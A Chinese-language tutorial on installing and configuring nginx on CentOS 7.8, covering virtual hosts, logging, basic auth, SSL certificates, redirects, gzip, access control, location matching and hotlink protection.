nginx详解

# CentOS7.8环境下
安装方法1：
使用epel源安装
# yum repolist #查看当前系统的yum仓库有哪些软件包
yum install epel-release -y  # 安装yum的扩展包
yum install nginx -y
systemctl start nginx.service 
systemctl enable nginx.service
# netstat -lntup # 查看端口占用情况
# 可以看到nginx默认占用了80端口
# 安装完之后，如果我们继续安装一个apache的httpd，还是可以安装上的
# yum install httpd -y
# 但是当我们启动httpd的时候会报错
# systemctl start httpd
# 查看它的状态
# systemctl status httpd # 可以看到启动失败了
[root@web01 ~]# systemctl status httpd
● httpd.service - The Apache HTTP Server
   Loaded: loaded (/usr/lib/systemd/system/httpd.service; disabled; vendor 
preset: disabled)
   Active: failed (Result: exit-code) since 二 2023-04-11 20:20:47 CST; 17s ago
     Docs: man:httpd(8)
               man:apachectl(8)
 Process: 1819 ExecStart=/usr/sbin/httpd $OPTIONS -DFOREGROUND (code=exited, 
status=1/FAILURE)
 Main PID: 1819 (code=exited, status=1/FAILURE)
4月 11 20:20:28 web01 systemd[1]: Starting The Apache HTTP Server...
# 不能监听80端口，因为已经被80端口给占用了。所以一旦80端口被某个其他服务占用了，那么我们就不能以80端口来启动其他的服务，所以想其他其他的服务，就要改服务默认的端口号
4月 11 20:20:47 web01 httpd[1819]: AH00558: httpd: Could not reliably determine 
the server's fully ...ssage
4月 11 20:20:47 web01 httpd[1819]: (98)Address already in use: AH00072: 
make_sock: could not bind t...:]:80
4月 11 20:20:47 web01 httpd[1819]: (98)Address already in use: AH00072: 
make_sock: could not bind t....0:80
4月 11 20:20:47 web01 httpd[1819]: no listening sockets available, shutting down
4月 11 20:20:47 web01 httpd[1819]: AH00015: Unable to open logs
4月 11 20:20:47 web01 systemd[1]: httpd.service: main process exited, 
code=exited, status=1/FAILURE
4月 11 20:20:47 web01 systemd[1]: Failed to start The Apache HTTP Server.
4月 11 20:20:47 web01 systemd[1]: Unit httpd.service entered failed state.
4月 11 20:20:47 web01 systemd[1]: httpd.service failed.
Hint: Some lines were ellipsized, use -l to show in full.

[root@web01 ~]# ll /etc/nginx/
总用量 68
drwxr-xr-x 2 root root    6 11月 11 00:58 conf.d
drwxr-xr-x 2 root root    6 11月 11 00:58 default.d
-rw-r--r-- 1 root root 1077 11月 11 00:58 fastcgi.conf
-rw-r--r-- 1 root root 1077 11月 11 00:58 fastcgi.conf.default  # fastcgi.conf的备份文件
-rw-r--r-- 1 root root 1007 11月 11 00:58 fastcgi_params
-rw-r--r-- 1 root root 1007 11月 11 00:58 fastcgi_params.default # fastcgi_params的备份文件
-rw-r--r-- 1 root root 2837 11月 11 00:58 koi-utf
-rw-r--r-- 1 root root 2223 11月 11 00:58 koi-win
-rw-r--r-- 1 root root 5231 11月 11 00:58 mime.types
-rw-r--r-- 1 root root 5231 11月 11 00:58 mime.types.default # mime.types的备份文件
-rw-r--r-- 1 root root 2336 11月 11 00:58 nginx.conf  # nginx的主配置文件，nginx每次启动都会加载它。
-rw-r--r-- 1 root root 2656 11月 11 00:58 nginx.conf.default # nginx.conf的备份文件
-rw-r--r-- 1 root root  636 11月 11 00:58 scgi_params
-rw-r--r-- 1 root root  636 11月 11 00:58 scgi_params.default # scgi_params的备份
文件
-rw-r--r-- 1 root root  664 11月 11 00:58 uwsgi_params 
-rw-r--r-- 1 root root  664 11月 11 00:58 uwsgi_params.default # uwsgi_params的备份文件
-rw-r--r-- 1 root root 3610 11月 11 00:58 win-utf

# 先过滤一下配置文件，因为里面的#号，空行等太多了，带#号的都是注释不用的，所以可以去掉
cd /etc/nginx/
grep -Ev '#|^$' nginx.conf.default > nginx.conf
# 编辑配置文件
vim nginx.conf
#删除17-20行,剩下的就是最小配置了
# 注意配置文件的语法格式，每行结尾必须是英文的分号。
worker_processes  1;   #启动nginx时工作进程的数量，可以加大这个数字来提高nginx的处理请求的效率，但是这个数字也不能太大，因为进程是消耗系统内存资源的。调整一下这个数字，然后通过free指令可以查看一下内存容量的变化。建议和CPU核数一致就行
# worker_processes 2; # 改完配置文件都需要重启nginx才生效，systemctl restart nginx.service
events {
   worker_connections  1024;     #连接数量，每个进程可以处理1024连接
}
http {                            #http模块
   include       mime.types;     #include是包含的意思，这行的意思是，nginx启动的时候加载nginx.conf主配置文件的时候，加载到这一行的时候，先包含加载一下mime.types文件里面的配置，这个文件主要是用来标识支持哪些多媒体格式，这个文件在nginx.conf所在目录
   default_type application/octet-stream;  #如果不能识别的文件，那么默认以八进制数据流的方式来打开文件
    # 下面这两个配置也可以删掉
    # sendfile       on;  
    # keepalive_timeout 65;
   charset utf-8;                          #设置字符集，这是我多加的一个配置，默认没有，比如vim kaku.html写入一些中文，去掉和加上这个配置看看效果
   server {                                #一个网站，一个nginx可以运行多个网站，添加这个配置项即可
       listen       80;                    #监听端口，可以修改，比如改个81看看效果，再启动apache看看80效果
       server_name localhost;             #网站的域名，现在没有配置域名，默认就是localhost，比如后面可以配置www.kaku.top
       location / {                        #目录，必须要有个location
                 root   html;                    #root是站点根目录的意思，值为html表示一个相对路径，绝对路径是/usr/share/nginx/html，也可以改昂，比如改成绝对路径root 
                 /usr/share/nginx/html，或者改为其他路径root /web
            #root /web # 改为这个试一下，别忘了去根目录下创建一个web目录，给web目录一些文件看看效果，还可以直接把项目目录内容直接拷贝到/web目录中o/了
            # [root@web01 web]# mv xiangmu/* .

           index index.html index.htm;    #默认首页，访问网址根路径的时候，自动访问站点根目录下面的index或者index.html或者index.htm文件，如果没有这几个名字的文件呢？访问的时候就会提示403，需要在网址上手动指定文件名称，这几个文件名称也是可以改的，比如改为kaku.html。
       }
   }
    # 第二个网站：
    #server {                                
    #   listen       81;                    
    #   server_name localhost;             
    #   location / {                        
    #       root   html;                    
    #       index index.html index.htm;    
    #   }
    #}
    
}
# 修改完配置文件之后，可以检查一下配置文件的语法是否ok
[root@web01 nginx]# nginx -t
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# 百度是php语言开发的：下面两个方式访问效果一样，baidu的首页其实是index.php
# https://www.baidu.com/
# https://www.baidu.com/index.php

[root@web01 nginx]# ps -ef | grep nginx
root       1725      1  0 20:16 ?        00:00:00 nginx: master process 
/usr/sbin/nginx # master process是主进程的意思，也叫做管理进程，它是用来管理nginx整个运行的，nginx的其他子进程如果死掉了，它会自动在启动其他的子进程，比如尝试kill 下面的子进程，你会发现另外一个进程又自动启动了。真正干活的进程是下面的worker process进程，叫做工作进程，有请求来了都是它处理的
nginx      1727   1725  0 20:16 ?        00:00:00 nginx: worker process # 可以看到nginx是以nginx用户身份启动的
root       1869   1552  0 20:35 pts/0    00:00:00 vim nginx.conf
root       1898   1872  0 20:35 pts/1    00:00:00 grep --color=auto nginx

vim mime.types

[root@web01 nginx]# cd /usr/share/nginx/html/
[root@web01 nginx]# ls
404.html 50x.html en-US icons img index.html nginx-logo.png poweredby.png

http://192.168.61.139/  --- index.html
http://192.168.61.139/img/centos-logo.png  --- img/centos-logo.png

http://192.168.61.139/kaku.mp4   # 这是因为nginx的配置文件mime.types中看到，支持mp4，如果删掉了配置文件中mp4那一行数据，那么就不支持mp4格式文件的预览了，也就是不能直接在浏览器上播放mp4视频了，而是直接下载，但是现在浏览器做的功能比较强大了，有些浏览器也会自动帮我们播放mp4的视频。如果是nginx不能识别的文件格式、并且浏览器也不能识别这种文件格式，比如xx.kaku，那么访问一下会直接下载这个文件。

#再比如，如果是nginx支持，但是浏览器不支持的文件格式，比如htc格式的文件，nginx能识别，但是浏览器不支持，那么浏览器会尝试用txt的方式来打开这个文件，如果是一些视频或者图片，那么就在浏览器上看到一堆乱码。 如果nginx和浏览器都不支持的，基本就会看到直接下载。

[root@web01 nginx]# cd /usr/share/nginx/html/
[root@web01 html]# rm -rf *

http:// + ip/域名 + 端口 + URI
其中，ip/域名变了，那么网站入口就变了，端口变了，网站入口也变了，而每个网站都需要有自己的入口

[root@web01 nginx]# cat nginx.conf
worker_processes  2;
events {
   worker_connections  1024;
}
http {
   include       mime.types;
   default_type application/octet-stream;
   charset utf-8;
    # 8yy复制8行，小p黏贴
   server {
listen       80;
server_name localhost;
location / {
root   /html/one;
index index.html index.htm;
}
   }
   server {
listen       81;
server_name localhost;
location / {
root   /html/two;
index index.html index.htm;
}
   }
   server {
listen       82;
server_name localhost;
location / {
root   /html/three;
index index.html index.htm;
}
   }
}
[root@web01 nginx]# mkdir -p /html/{one,two,three}
[root@web01 nginx]# echo 'one' >/html/one/index.html
[root@web01 nginx]# echo 'two' >/html/two/index.html
[root@web01 nginx]# echo 'three' >/html/three/index.html
# 或者给三个目录中都放个不同的网站源代码随便来个index.html即可
# 解压指令：tar -xf youxi.tar.gz
# 在站点根目录下没有index.html首页文件，那么直接访问网址会报403的错误。
[root@web01 nginx]# systemctl restart nginx.service

[root@web01 three]# cd /etc/sysconfig/network-scripts/
[root@web01 network-scripts]# ls
[root@web01 network-scripts]# vim ifcfg-ens33
TYPE="Ethernet"
BOOTPROTO="static"
NAME="ens33"
DEVICE="ens33"
ONBOOT="yes"
IPADDR=192.168.61.139
IPADDR2=192.168.61.140
IPADDR3=192.168.61.141
NETMASK=255.255.255.0
GATEWAY=192.168.20.2
DNS1=223.5.5.5       
# 保存退出
# 重启网卡服务：systemctl restart network，查看ip地址：
[root@web01 network-scripts]# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group 
default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
   inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP 
group default qlen 1000
   link/ether 00:0c:29:37:68:fd brd ff:ff:ff:ff:ff:ff
   inet 192.168.61.139/24 brd 192.168.61.255 scope global noprefixroute ens33
       valid_lft forever preferred_lft forever
   inet 192.168.61.140/24 brd 192.168.61.255 scope global secondary 
noprefixroute ens33
       valid_lft forever preferred_lft forever
   inet 192.168.61.141/24 brd 192.168.61.255 scope global secondary 
noprefixroute ens33
       valid_lft forever preferred_lft forever
   inet6 fe80::20c:29ff:fe37:68fd/64 scope link 
       valid_lft forever preferred_lft forever

[root@web01 nginx]# vim nginx.conf
worker_processes  1;
events {
   worker_connections  1024;
}
http {
   include       mime.types;
   default_type application/octet-stream;
   charset utf-8;
   server {
       listen       192.168.61.139:80;  # 直接写ip地址和端口，大家都是80端口
       server_name localhost;
       location / {
           root   /web/one;
           index index.html index.htm;
       }
   }
   server {
       listen      192.168.61.140:80;
         server_name localhost;
       location / {
           root   /web/two;
           index index.html index.htm;
       }
   }
   server {
       listen       192.168.61.141:80;
       server_name localhost;
       location / {
           root   /web/three;
           index index.html index.htm;
       }
   }
}
# 保存退出
# 检查一下语法
[root@web01 nginx]# nginx -t
# 重启nginx
systemctl restart nginx
# 查看端口占用情况
[root@web01 nginx]# netstat -lntup
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       
PID/Program name    
tcp        0      0 192.168.61.141:80       0.0.0.0:*               LISTEN     
2340/nginx: master  
tcp        0      0 192.168.61.140:80       0.0.0.0:*               LISTEN     
2340/nginx: master  
tcp        0      0 192.168.61.139:80       0.0.0.0:*               LISTEN     
2340/nginx: master 
...
# 可以看到一个ip地址一个进程

  server {
       listen       80;
       server_name a.kaku.com;
       location / {
           root   /html/one;
           index index.html index.htm;
       }
   }
   server {
       listen       80;
       server_name b.kaku.com;
       location / {
           root   /html/two;
           index index.html index.htm;
       }
   }
   server {
       listen       80;
       server_name c.kaku.com;
       location / {
           root   /html/three;
           index index.html index.htm;
       }
   }
     #修改完配置文件之后，重启nginx

# C:\Windows\System32\drivers\etc\hosts
192.168.61.139 a.kaku.com b.kaku.com c.kaku.com
# cmd来ping一下域名
ping a.kaku.com

[root@web01 nginx]# cat nginx.conf
worker_processes  2;
events {
   worker_connections  1024;
}
http {
   include       mime.types;
   default_type application/octet-stream;
     charset utf-8;
   include /etc/nginx/conf.d/*.conf; # 加载外部以.conf结尾的配置文件，如果你的路径下没有conf.d就自行创建一个-- mkdir conf.d
}
[root@web01 conf.d]# cat d_com.conf 
   server {
       listen       80;
       server_name d.com;
       location / {
           root   /html/four;
           index index.html index.htm;
       }
   }
# nginx官网：www.nginx.org
# 可以在documentation文档中找到默认站点配置方式，下面这个网站就变成了默认网站，当访问的域名nginx不能匹配到对应网站时，就自动打开下面这个网站。
[root@web01 conf.d]# cat c_com.conf 
   server {
       listen       80 default_server;
       server_name c.com;
       location / {
           root   /html/three;
           index index.html index.htm;
       }
   }

[root@web01 conf.d]# cat /var/log/secure

[root@web01 conf.d]# ls /var/log/nginx/
access.log access.log-20230412 error.log error.log-20230412 #每个日志是会按照当
天的日期进行切割
# 我们清空一下日志
[root@web01 nginx]# > access.log
[root@web01 nginx]# cat access.log
# 访问一下网站，再看日志
[root@web01 nginx]# cat access.log
192.168.61.1 - - [12/Apr/2023:15:17:44 +0800] "GET /icon/duimutou.png HTTP/1.1"
200 78796 "http://b.kaku.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36"
# 304状态码表示客户端浏览器用的是浏览器缓存页面，所以看到后面是0，表示没有响应任何数据

[root@web01 nginx]# cat error.log
2023/04/12 11:34:25 [error] 2342#2342: *1 open() "/web/one/favicon.ico" failed 
(2: No such file or directory), client: 192.168.61.1, server: localhost, request: 
"GET /favicon.ico HTTP/1.1", host: "192.168.61.139", referrer: 
"http://192.168.61.139/"
#没有favicon.ico文件，可以切换到站点目录中去下载一个：wget https://www.mi.com/favicon.ico
# 还有人故意访问一个错误的路径，让你的网站报错，显示出nginx的版本。
error_log /opt/nginx_error.log info;

# 定制日志记录格式：这个必须配置在在server配置外面昂
log_format compression '$remote_addr - $remote_user [$time_local] '
                       '"$request" $status $bytes_sent '
                       '"$http_referer" "$http_user_agent" "$gzip_ratio"';
                       
# compression可以理解为是这个格式的名字，谁想用这个格式，谁就用这个名字来指定格式
192.168.61.1 - - [12/Apr/2023:14:19:59 +0800] "GET / HTTP/1.1" 304 0 "-"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/111.0.0.0 Safari/537.36"
# $remote_addr 客户端的ip地址
# $remote_user 客户端的用户名
# $time_local 当前时间
# $request     请求起始行
# $status     http状态码
# $bytes_sent 响应资源的大小
# $http_referer 记录资源的跳转地址
# $http_user_agent 用户的终端信息
# $gzip_ratio     gzip的压缩级别
# 比如我们想让日志记录一下请求时间、客户端ip、请求uri、状态码、文件大小
# vim /etc/nginx/nginx.conf
worker_processes  1;
events {
   worker_connections  1024;
}
http {
   log_format test '[$time_local] $remote_addr "$request" $status $bytes_sent';
   include       mime.types;
   default_type application/octet-stream;
   charset utf-8;
   include /etc/nginx/conf.d/*.conf;
}
# 每个网站都可以单独记录自己的日志
[root@web01 nginx]# cd conf.d/
[root@web01 conf.d]# ls
a.kaku.com.conf.stop b.kaku.com.conf c.kaku.com.conf
[root@web01 conf.d]# vim b.kaku.com.conf 
   server {
       listen       80;
       server_name b.kaku.com;
       access_log /opt/nginx/b.kaku.com_log test;  # test是上面指定的日志格式的名称，/opt/目录下面没有nginx目录，需要我们手动创建，这个目录是随意指定的昂，mkdir /opt/nginx，还要授权：chown nginx:nginx /opt/nginx，不然nginx用户没办法访问这个目录
       location / {
           root   /web/two;
           index index.html index.htm;
       }
   }
# 改完之后，重启nginx，然后访问网站，看一下/opt/nginx目录，看看日志格式。
# access_log /var/log/nginx/access.log compression;
# access_log /opt/nginx/access.log compression; # /opt/目录需要授权，不然没办法记录进
去
# 注意：错误日志的格式我们是不能自定义的，顶多能修改错误日志的保存路径。
#官方文档http://nginx.org/en/docs/http/ngx_http_log_module.html

vim /etc/nginx/htpasswd
# 写入刚才保存的用户和密码

auth_basic "b.kaku.com";  #auth_basic表示开启这个功能，"b.kaku.com"是备注信息，随便写，一些老浏览器能看到，新浏览器都看不到备注信息了。
auth_basic_user_file /etc/nginx/htpasswd;  # 这是账号密码存放在哪个位置

[root@web01 nginx]# cd /etc/nginx/conf.d/
[root@web01 conf.d]# ls
a.kaku.com.conf b.kaku.com.conf c.kaku.com.conf
[root@web01 conf.d]# vim b.kaku.com.conf 
   server {
       listen       80;
       server_name b.kaku.com;
       access_log /opt/nginx/b.kaku.com_log kaku;
       auth_basic "b.kaku.com";
       auth_basic_user_file /etc/nginx/htpasswd;
       location / {
        
           root   /web/two;
           index index.html index.htm;
       }
   }
# 保存之后重新启动nginx就可以了

搜索SSL证书-->证书管理控制台-->SSL证书-->免费证书-->创建证书-->按照操作提交申请即可-->审核通
过后下载证书

# 将证书放到opt目录的cert下，cert需要我们自己创建，其实名字随便起，一般都叫cert，表示证书的意
思
[root@web01 conf.d]# cd /opt/
[root@web01 opt]# mkdir cert
[root@web01 opt]# cd cert/
[root@web01 cert]# unzip 20020459_www.kakubatman.xyz_nginx
[root@web01 cert]# ls
www.kakubatman.xyz.key www.kakubatman.xyz.pem 
920020459_www.kakubatman.xyz_nginx.zip 
#阿里云的nginx的证书部署文档中建议如下的配置：
#以下属性中，以ssl开头的属性表示与证书配置有关。
server {
    #配置HTTPS的默认访问端口为443。
    #如果未在此处配置HTTPS的默认访问端口，可能会造成Nginx无法启动。
    #如果您使用Nginx 1.15.0及以上版本，请使用listen 443 ssl代替listen 443和ssl on。
   listen 443 ssl;  # http--80 https -- 443
    #填写证书绑定的域名
   server_name <yourdomain>;
   root html;
   index index.html index.htm;
    #填写证书文件名称
   ssl_certificate cert/<cert-file-name>.pem;
    #填写证书私钥文件名称  
   ssl_certificate_key cert/<cert-file-name>.key;
   ssl_session_timeout 5m;
    #表示使用的加密套件的类型
   ssl_ciphers ECDHE-RSA-AES128-GCMSHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;
    #表示使用的TLS协议的类型，您需要自行评估是否配置TLSv1.1协议。
   ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3;
   ssl_prefer_server_ciphers on;
   location / {
        #Web网站程序存放目录
       root html;
       index index.html index.htm;
   }
}
#比如，我们按照自己的网站修改为如下内容：
server {
   listen 443 ssl;
   server_name www.kakubatman.xyz;
   ssl_certificate /opt/cert/9www.kakubatman.xyz.pem;
   ssl_certificate_key /opt/cert/www.kakubatman.xyz.key;
   ssl_session_timeout 5m;
    #表示使用的加密套件的类型
   ssl_ciphers ECDHE-RSA-AES128-GCMSHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;
    #表示使用的TLS协议的类型，您需要自行评估是否配置TLSv1.1协议。
   ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3; # 如果不加TLSv1.1，就删掉
   ssl_prefer_server_ciphers on;
   location / {
        #Web网站程序存放目录
       root /web/www.kakubatman.xyz;
       index index.html index.htm;
   }
}
# 在/web目录下创建一个名叫www.kakubatman.xyz的文件夹

#使用return跳转
server {
       access_log off; # 这段配置是专门用来做跳转用的，所以日志就不用记录了，off就是关闭跳转行为的日志记录
       listen       80;
       server_name www.kaku.top;
       location / {
           return       302 https://www.kakubatman.xyz$request_uri; # 当用户访问www.kakubatman.xyz的80端口时，自动跳转到https网址,302是状态码，表示重定向。
       }
 }
# 可以先去掉$request_uri来看看效果
# $request_uri的意思是网址uri，这个访问http://www.kaku.top网址后面不管加什么内容，不管访问哪个页面路径，都直接跳转到https
# URL: 协议(http/https):// + 主机(ip/域名) + 端口(80/443) + uri(/xx/index.html或者/xx/xx.jpg等)
# 比如访问http://www.kaku.top/kaku/，会自动跳转到这个https://www.kaku.top/kaku/，还是这个页面，但是是https协议的

#使用rewrite跳转
server {
       access_log off;
       listen       80;
       server_name www.kaku.top;
       location / {
           rewrite ^/(.*) https://www.kaku.top/$1 redirect;  # redirect代表302状态码，临时跳转，^代表网址https://www.kaku.top，/(.*)其实就是匹配uri，$1表示()中匹配到的内容，也就是.*匹配到的内容
         # rewrite ^/(.*) https://www.kaku.top/$1 permanent; # permanent代表301状态码，永久跳转
       }
 }

# 在CentOS中有NetworkManager和network两种网络管理工具,如果这两种服务都工作时会产生冲突进而导致机器无法联网。
systemctl stop NetworkManager
systemctl disable NetworkManager
# 在重启网卡
systemctl restart network
# route -n就看到有网关了。

# 通过curl可以查看网址的跳转细节，如下
curl -v http://www.jd.com
# 不管我们访问www.jd.com/jd.com/http://www.jd.com都会自动跳转到https://www.jd.com
# 所以我们还需要配置两个跳转，如下
server {
       listen       80;
       server_name www.kaku.top;
       location / {
           return       302 https://www.kaku.top$request_uri;
       }
}
server {
       listen       80;
       server_name kaku.top;  # 用户输入不带www的时候也能跳转到https的网址上
       location / {
           return       302 https://www.kaku.top$request_uri;
       }
}

[root@web01 ~]# cd ~
[root@web01 ~]# ll
总用量 4
-rw------- 1 root root 1304 3月  15 20:14 anaconda-ks.cfg
[root@web01 ~]# gzip anaconda-ks.cfg 
[root@web01 ~]# ll
总用量 4
-rw------- 1 root root 747 3月  15 20:14 anaconda-ks.cfg.gz
# 可以看到gzip压缩的文件还是小了很多的，而且原文件没有了，只剩下压缩文件了

      gzip on;                 #开启gzip压缩
       gzip_min_length 1k;     #最小压缩文件，小于1KB的就不压缩了
       gzip_buffers     4 32k;  #内存缓冲，压缩需要提前规划一些内存空间出来，4个32KB的空间
       gzip_http_version 1.1;   #http版本，默认是1.0，1.1需要自己声明，不过现在比较新的nginx应该默认就是1.1了
       gzip_comp_level 9;       #压缩等级，等级数1-9，压缩等级越高，压缩用的时长越长，但是压缩的就越小
       gzip_types text/css text/xml application/javascript;  #压缩的文件类型，这些类型的文件才会被压缩，为什么压缩的都是文本文件，而不压缩图片、视频和音频等多媒体文件呢，因为文本文件的压缩比是最高的，值得压缩。 比如jgp图片文件，这种格式的图片本身就是压缩过的文件，再压缩的意义不大。
       gzip_vary on;    #http响应头添加gzip标识
       gzip_disable "MSIE [1-7]\.";   #遇到IE浏览器1-7取消gzip压缩

  server {
       listen       80;
       server_name a.kaku.com;
       access_log /opt/nginx/a.kaku.com_log kaku;
       location / {
       # 添加到这里即可
           gzip on;                 #开启gzip压缩
           gzip_min_length 1k;     #最小压缩文件
           gzip_buffers     4 32k;  #内存缓冲
           gzip_http_version 1.1;   #http版本
           gzip_comp_level 9;       #压缩等级
           gzip_types text/css text/xml application/javascript;  #压缩w类型
           gzip_vary on;    #http响应头添加gzip标识
           gzip_disable "MSIE [1-7]\.";   #遇到IE浏览器1-7取消gzip压缩
           root   /web/one;
           index index.html index.htm;
       }
   }
# 配置完重启nginx

# 如下两个配置即可：
autoindex on;  # 开启目录浏览功能
autoindex_exact_size off; #显示文件大小的时候带单位
        
        
# 配置在nginx网站配置的server配置中：
   server {
       listen       80 default_server;
       server_name c.kaku.com;
       access_log /opt/nginx/c.kaku.com_log kaku;
       autoindex on; # 这里
       autoindex_exact_size off; # 这里
       location / {
           root   /web/three;
           index index.html index.htm;
       }
   }

# 示例1：防火墙直接禁用ip地址，这是基于四层的效果
# systemctl start firewalld.service #开启主机防火墙
# 拉黑某些ip地址：
 # firewall-cmd --add-rich-rule='rule family=ipv4 source address="116.255.196.0/24" drop'
 # firewall-cmd --add-rich-rule='rule family=ipv4 source address="123.44.22.55" drop'
# 比如查看一下当前系统远程连接了哪些ip地址
[root@web01 conf.d]# w
12:52:50 up  4:11,  3 users, load average: 0.00, 0.01, 0.04
USER     TTY     FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     tty1                      08:41    4:11m  0.01s  0.01s -bash
root     pts/0    192.168.61.1     08:52    2.00s  0.12s  0.00s w
root     pts/1    192.168.61.1     08:43   57:22   0.07s  0.07s -bash
# 可以看到192.168.61.1，这是我们NAT模式的网卡的网关，也就是说我们的物理机其实是使用的VMnet8虚拟网卡的ip地址进行连接的，如果我们通过防火墙将这个ip地址给封了，那么再建立新的ssh连接应该就连不上这个虚拟机了。
# firewall-cmd --add-rich-rule='rule family=ipv4 source address="192.168.61.1" drop'
# 基于四层的封锁，所有的网站都访问不了、ssh、ftp等等都不行了。
# 示例2：看一下nginx的基于七层的访问控制效果
# systemctl stop firewalld.service #关闭主机防火墙
# 拉黑的，叫做加入黑名单，被禁止访问的
# 加白的，叫做加入白名单，是允许访问的
# allow 允许
# deny 拒绝
# 比如我们将a网站做一下访问控制
[root@web01 conf.d]# pwd
/etc/nginx/conf.d
[root@web01 conf.d]# ls
a.kaku.com.conf b.kaku.com.conf c.kaku.com.conf www.kaku.top.conf
[root@web01 conf.d]# vim a.kaku.com.conf 
   server {
           listen       80;
           server_name a.kaku.com;
           access_log /opt/nginx/a.kaku.com_log kaku;
           location / {
           deny 192.168.61.1;  # 黑名单，不允许192.168.61.1访问这个网站
           allow 0.0.0.0/0;    # 白名单，0.0.0.0/0表示所有ip都在白名单
           gzip on;                 
            #...
           root   /web/one;
           index index.html index.htm;
       }
   }
[root@web01 conf.d]# nginx -t # 查看语法信息的时候，看到一个warn警告信息，提示有重复的配置，警告没事，我们删除重复的部分即可gzip_types text/css text/xml 
application/javascript; #把那个text/html删除
nginx: [warn] duplicate MIME type "text/html" in
/etc/nginx/conf.d/a.kaku.com.conf:13
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# 重启服务
[root@web01 conf.d]# systemctl restart nginx.service 
# 再访问就看到403 forbidden了
# 黑名单就是先拒绝，再允许所有
 deny 192.168.61.1;
 allow 0.0.0.0/0;
# 白名单就是先允许，再拒绝所有
 allow 192.168.61.1;   # 白名单
 allow 192.168.61.16;  # 白名单
 #allow 192.168.61.16/24; # 还可以写地址段
 deny 0.0.0.0/0;    # 黑名单
 
# 四层禁止(显示无法连接)，哪些情况访问的时候会看到403呢，七层禁止、没有首页html文件、文件没有读取权限，比如nginx访问某些文件，用的nginx用户身份，如果某个网站的文件，nginx用户没有读取权限，那么也是403，我们可以将某个网站的index.html文件权限修改一下看看效果
# 如果某个公司的网站都不想让某个ip地址访问，那么就在四层禁止比较方便。

  server {
       listen       80 default_server;
       server_name c.kaku.com;
       access_log /opt/nginx/c.kaku.com_log kaku;
       autoindex on;
       autoindex_exact_size off;
       location / {
           root   /web/three;
           index index.html index.htm;
       }
        # 加上如下内容：
       location /a {
           auth_basic "b.kaku.com";
           auth_basic_user_file /etc/nginx/htpasswd; 
       }
   }

  server {
       listen       80 default_server;
       server_name c.kaku.com;
       access_log /opt/nginx/c.kaku.com_log kaku;
       autoindex on;
       autoindex_exact_size off;
       location / {
           root   /web/three;
           index index.html index.htm;
       }
        # 下面配置的意思是，当访问a目录的时候，其实访问的是/web/a/index.html，这就是配置多个站点根目录的意思
       location /a {
           root /web;
       }
   }

   #没有符号，代表模糊匹配，不支持正则 location /te 可以匹配te开头的目录和文件
~   #表示执行一个正则匹配，区分大小写
~*  #表示执行一个正则匹配，不区分大小写
=   #针对的是文件,精准匹配，不支持正则
   server {
       listen       80 default_server;
       server_name c.kaku.com;
       access_log /opt/nginx/c.kaku.com_log kaku;
       autoindex on;
       autoindex_exact_size off;
       location / {
           root   /web/three;
           index index.html index.htm;
       }
        # 下面正则的意思是，只要用户访问txt文件，都返回404状态码。那么就可以做到各类文件的保护，或者各种路径访问的控制
       location ~* ^.*\.txt$ {
                 return 404;
       }
   }
# 再比如：只要a/A开头的目录，不区分大小写，都不能访问
location ~* /a+/ {
 return 405;  # 405是不允许访问的意思的状态码
}
# 再比如：只要a开头的目录，区分大小写，不能访问
location ~ /a+/ {
 return 405;  
}
# 再比如：不能访问1.txt文件
location = /1.txt {
 return 405;  
}

符号优先级 = 大于   ~ 大于 ~* 大于 无符号
touch jpg
#配置文件符号优先级的例子：
 location ~ /jpg {
       return 501;
   }
   location = /jpg {
       return 500;
   }
    
   location ~* /Jpg {
       return 503;
   }
   location /Jpg {
       return 505;
   }

盗链：你自己网站视频下载地址，被别人放到他的网站上了，别人从他网站上点击你的下载链接，下载动作和
流量走的是你的服务器，他收获了人气，你损失了流量。通过referer请求头就可以防盗链。只要下载请求数
据中的referer值不是你自己网站的网址，那就不让下载。

[root@web01 conf.d]# ls
a.kaku.com.conf b.kaku.com.conf c.kaku.com.conf www.kaku.top.conf
[root@web01 conf.d]# vim a.kaku.com.conf 
# 加上如下内容
       location ~* \.png$ {
             if ( $http_referer !~* "a.kaku.com" ) {  #!~* 不包含的意思
                 return 403;
             }
       }
# 并且将location中的站点根目录放到全局来
   server {
       listen       80;
       server_name a.kaku.com;
       access_log /opt/nginx/a.kaku.com_log kaku;
        # 站点根目录设置到location外面，表示所有的location的站点根目录都指向/web/one
       root   /web/one;
       index index.html index.htm;
       location / {
       #...
            #root   /web/one;
            #index index.html index.htm;
       }
       location ~* \.png$ {
             if ( $http_referer !~* "a.kaku.com" ) {
                 return 403;
             }
       }
   }

# mkdir -p /html/lang/en
# mkdir -p /html/lang/cn
# cd /html/lang/en
# vim index.html # 写点英文
# cd /html/lang/cn
# vim index.html # 写点汉字
# hosts文件中加入yuyan.com
server {
   listen 80;
   server_name yuyan.com; 
   index index.htm index.html; 
   charset utf-8;
   location / {
     if ( $http_accept_language ~* ^en ) { # 如果accept_language的值以en开头，也就是英文，那么返回英文的站点目录，否则返回中文的站点目录，而且有时候会根据ip地址来返回不同语言的网站。
   root /html/lang/en;
 }     
     root /html/lang/cn;
 }       
}

#nginx和php要结合起来的话，需要安装php-fpm
yum install php-fpm php-mbstring php-mysqlnd php-gd -y  #php语言很多功能都依赖一些特定的插件，一般我们就叫做模块，这里我们安装一下
